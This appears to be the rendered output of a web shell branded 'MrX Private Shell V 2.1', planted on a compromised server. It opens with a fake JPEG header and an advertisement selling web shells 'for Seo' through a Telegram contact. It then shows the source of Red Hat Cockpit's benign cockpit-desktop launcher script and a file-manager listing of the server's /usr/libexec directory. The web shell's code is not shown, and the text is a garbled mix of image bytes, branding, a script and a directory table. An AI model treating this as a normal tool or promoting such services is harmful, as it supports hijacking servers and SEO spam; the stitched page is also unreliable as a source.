����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!/usr/bin/bash
# This file is part of Cockpit.
#
# Copyright (C) 2018 Red Hat, Inc.
#
# Cockpit is free software; you can redistribute it and/or modify it
# under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation; either version 2.1 of the License, or
# (at your option) any later version.
#
# Cockpit is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with Cockpit; If not, see <https://www.gnu.org/licenses/>.
# Run a local bridge, web server, and browser for a particular Cockpit page.
# This is useful for integration into .desktop files, for systems which don't
# have cockpit.socket enabled. The web server and browser run in an unshared
# network namespace, and thus are totally isolated from everything else.
#
# Examples:
# cockpit-desktop /cockpit/@localhost/system/index.html
# cockpit-desktop network/firewall
# cockpit-desktop users
#
# As an experimental/demo feature, the bridge can also be started on a remote
# ssh host. The host name is given as (optional) second argument, which is
# passed verbatim to ssh.
#
# Example:
# cockpit-desktop system svr1
# cockpit-desktop / username@svr1
set -eu
# shellcheck disable=SC2034 # exec_prefix= is set because the default /usr/libexec contains "${exec_prefix}"
exec_prefix="/usr"
# start browser in a temporary home dir, so that it does not interfere with your real one
BROWSER_HOME=$(mktemp --directory --tmpdir cockpit.desktop.XXXXXX)
export BROWSER_HOME
# find suitable browser, unless already set by $BROWSER
# We can't use xdg-open, it does too much magic behind the back to connect to
# existing instances (outside of our namespace) and does not allow us to reduce
# the UI, or pass options like chromium's --no-sandbox.
detect_browser()
{
[ -z "${BROWSER:-}" ] || return 0
# First choice, but it depends on gi.repository WebKit2, so check it
if /usr/libexec/cockpit-client --help >/dev/null 2>/dev/null; then
BROWSER="/usr/libexec/cockpit-client --disable-uniqueness --no-ui --external-ws"
return 0
fi
for browser in chromium-browser chromium google-chrome; do
if type $browser >/dev/null 2>&1; then
# need to disable sandboxing in user namespace, but that already isolates
# TODO: Find a way to disable the URL bar
BROWSER="$browser --no-sandbox --disable-infobars"
return 0
fi
done
# create firefox profile
FIREFOX_PROFILE="$BROWSER_HOME/profile"
mkdir "$FIREFOX_PROFILE"
cat <<EOF > "$FIREFOX_PROFILE/user.js"
user_pref("datareporting.policy.dataSubmissionEnabled", false);
user_pref("toolkit.telemetry.reportingpolicy.firstRun", false);
user_pref("browser.toolbars.bookmarks.visibility", "never");
EOF
if type firefox >/dev/null 2>&1; then
# TODO: Find a way to disable the URL bar
BROWSER="firefox --profile $FIREFOX_PROFILE --no-remote"
return 0
fi
for id in org.mozilla.firefox org.mozilla.Firefox; do
if flatpak info $id >/dev/null 2>&1; then
BROWSER="flatpak run --filesystem=$BROWSER_HOME $id --profile $FIREFOX_PROFILE --no-remote"
return 0
fi
done
# TODO: is there a simple way to use webkitgtk?
echo "No suitable browser found (Chromium/Chrome, or Firefox)" >&2
exit 1
}
if [ -z "${1:-}" ]; then
echo "Usage: $0 <Cockpit path> [ssh host]" >&2
exit 1
fi
# Expand the commandline argument into a url
case "$1" in
/*)
URL_PATH="$1"
;;
*/)
URL_PATH="/cockpit/@localhost/$1index.html"
;;
*/*)
URL_PATH="/cockpit/@localhost/$1.html"
;;
*)
URL_PATH="/cockpit/@localhost/$1/index.html"
;;
esac
detect_browser
# start the bridge; this needs to run in the normal user session/namespace
coproc ${2:+ssh "$2"} cockpit-bridge
trap "kill $COPROC_PID; wait $COPROC_PID || true" EXIT INT QUIT PIPE
# start ws and browser in a detached network namespace
SCRIPT='
set -eu
# new namespaces have lo down by default
ip link set lo up >&2
# forward parent stdin and stdout (from bridge) to cockpit-ws
# it pretty well does not matter which port we use in our own namespace, so use standard http
# disable /etc/cockpit/
XDG_CONFIG_DIRS="$BROWSER_HOME" COCKPIT_SUPERUSER="pkexec" '${COCKPIT_WS:-/usr/libexec/cockpit-ws}' -p 80 -a 127.0.0.90 --local-session=- <&0 >&1 &
WS_PID=$!
# ... and stop using that stdin/out for everything else
exec 0</dev/null
exec 1>&2
trap "set +e; kill $WS_PID; wait $WS_PID; rm -rf $BROWSER_HOME" EXIT INT QUIT PIPE
# if we have netcat, use it for waiting until ws is up
if type nc >/dev/null 2>&1; then
for retry in `seq 10`; do
nc -z 127.0.0.90 80 && break
sleep 0.5;
done
else
# otherwise, just wait a bit
sleep 3
fi
HOME="$BROWSER_HOME" '$BROWSER' http://127.0.0.90'"$URL_PATH"'
'
unshare --user --map-root-user --net /bin/bash -c "$SCRIPT" <&${COPROC[0]} >&${COPROC[1]}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| awk | Folder | 0755 |
|
|
| bluetooth | Folder | 0755 |
|
|
| cloud-init | Folder | 0755 |
|
|
| coreutils | Folder | 0755 |
|
|
| cpanel-pdns | Folder | 0755 |
|
|
| dovecot | Folder | 0755 |
|
|
| dpkg | Folder | 0755 |
|
|
| gawk | Folder | 0755 |
|
|
| gcc | Folder | 0755 |
|
|
| geoclue-2.0 | Folder | 0755 |
|
|
| getconf | Folder | 0755 |
|
|
| git-core | Folder | 0755 |
|
|
| grub2 | Folder | 0755 |
|
|
| grubby | Folder | 0755 |
|
|
| gstreamer-1.0 | Folder | 0755 |
|
|
| hostname | Folder | 0755 |
|
|
| imunify-notifier | Folder | 0755 |
|
|
| initscripts | Folder | 0755 |
|
|
| installkernel | Folder | 0755 |
|
|
| iptables | Folder | 0755 |
|
|
| irqbalance | Folder | 0755 |
|
|
| linux-boot-probes | Folder | 0755 |
|
|
| lsm.d | Folder | 0755 |
|
|
| man-db | Folder | 0755 |
|
|
| microcode_ctl | Folder | 0755 |
|
|
| nfs-utils | Folder | 0755 |
|
|
| openldap | Folder | 0755 |
|
|
| openssh | Folder | 0755 |
|
|
| os-prober | Folder | 0755 |
|
|
| os-probes | Folder | 0755 |
|
|
| p11-kit | Folder | 0755 |
|
|
| psacct | Folder | 0755 |
|
|
| rsyslog | Folder | 0755 |
|
|
| selinux | Folder | 0755 |
|
|
| smartmontools | Folder | 0755 |
|
|
| sssd | Folder | 0755 |
|
|
| sudo | Folder | 0755 |
|
|
| totem-pl-parser | Folder | 0755 |
|
|
| tracker3 | Folder | 0755 |
|
|
| tuned | Folder | 0755 |
|
|
| utempter | Folder | 0755 |
|
|
| arptables-helper | File | 1.27 KB | 0755 |
|
| arptables-nft-helper | File | 1.27 KB | 0755 |
|
| at-spi-bus-launcher | File | 32.12 KB | 0755 |
|
| at-spi2-registryd | File | 81.38 KB | 0755 |
|
| cockpit-askpass | File | 239 B | 0755 |
|
| cockpit-certificate-ensure | File | 23.28 KB | 0755 |
|
| cockpit-certificate-helper | File | 5.72 KB | 0755 |
|
| cockpit-client | File | 12.17 KB | 0755 |
|
| cockpit-client.ui | File | 4.13 KB | 0644 |
|
| cockpit-desktop | File | 5.12 KB | 0755 |
|
| cockpit-session | File | 59.69 KB | 0755 |
|
| cockpit-tls | File | 47.76 KB | 0755 |
|
| cockpit-ws | File | 255.73 KB | 0755 |
|
| cockpit-wsinstance-factory | File | 15.2 KB | 0755 |
|
| dconf-service | File | 77.01 KB | 0755 |
|
| dirmngr_ldap | File | 40.03 KB | 0755 |
|
| dnf-utils | File | 3.6 KB | 0755 |
|
| exim.daemon | File | 761 B | 0755 |
|
| fips-setup-helper | File | 333 B | 0755 |
|
| flatpak-oci-authenticator | File | 1.19 MB | 0755 |
|
| flatpak-portal | File | 1.3 MB | 0755 |
|
| flatpak-session-helper | File | 171.27 KB | 0755 |
|
| flatpak-system-helper | File | 1.22 MB | 0755 |
|
| flatpak-validate-icon | File | 15.45 KB | 0755 |
|
| fprintd | File | 133.97 KB | 0755 |
|
| generate-rndc-key.sh | File | 681 B | 0755 |
|
| geoclue | File | 240.77 KB | 0755 |
|
| glib-pacrunner | File | 24 KB | 0755 |
|
| gpg-check-pattern | File | 59.91 KB | 0755 |
|
| gpg-pair-tool | File | 64.48 KB | 0755 |
|
| gpg-preset-passphrase | File | 35.74 KB | 0755 |
|
| gpg-protect-tool | File | 84.68 KB | 0755 |
|
| gpg-wks-client | File | 50 B | 0755 |
|
| grepconf.sh | File | 257 B | 0755 |
|
| import-state | File | 1.04 KB | 0755 |
|
| imunify-message-gateway | File | 5.93 MB | 0755 |
|
| keyboxd | File | 158.24 KB | 0755 |
|
| loadmodules | File | 237 B | 0755 |
|
| low-memory-monitor | File | 28.33 KB | 0755 |
|
| lvresize_fs_helper | File | 9.57 KB | 0755 |
|
| mlocate-run-updatedb | File | 142 B | 0750 |
|
| nfsrahead | File | 27.3 KB | 0755 |
|
| nm-daemon-helper | File | 15.3 KB | 0755 |
|
| nm-dhcp-helper | File | 19.23 KB | 0755 |
|
| nm-dispatcher | File | 76.6 KB | 0755 |
|
| nm-initrd-generator | File | 771.93 KB | 0755 |
|
| nm-priv-helper | File | 39.91 KB | 0755 |
|
| packagekit-direct | File | 148.66 KB | 0755 |
|
| packagekitd | File | 338.76 KB | 0755 |
|
| pk-offline-update | File | 31.54 KB | 0755 |
|
| platform-python | File | 15.09 KB | 0755 |
|
| platform-python3.9 | File | 15.09 KB | 0755 |
|
| realmd | File | 289.33 KB | 0755 |
|
| report-command-error | File | 8.06 MB | 0755 |
|
| revokefs-fuse | File | 32.26 KB | 0755 |
|
| rtkit-daemon | File | 68.02 KB | 0755 |
|
| run-with-intensity | File | 6.1 MB | 0755 |
|
| scdaemon | File | 427.34 KB | 0755 |
|
| tracker-extract-3 | File | 133.17 KB | 0755 |
|
| tracker-miner-fs-3 | File | 149.47 KB | 0755 |
|
| tracker-miner-fs-control-3 | File | 72.16 KB | 0755 |
|
| tracker-writeback-3 | File | 43.71 KB | 0755 |
|
| tracker-xdg-portal-3 | File | 39.69 KB | 0755 |
|
| upowerd | File | 240.27 KB | 0755 |
|
| vi | File | 1.38 MB | 0755 |
|
| virt-what-cpuid-helper | File | 15.11 KB | 0755 |
|
| xdg-desktop-portal | File | 725.42 KB | 0755 |
|
| xdg-desktop-portal-gtk | File | 333.3 KB | 0755 |
|
| xdg-document-portal | File | 202.93 KB | 0755 |
|
| xdg-permission-store | File | 84.7 KB | 0755 |
|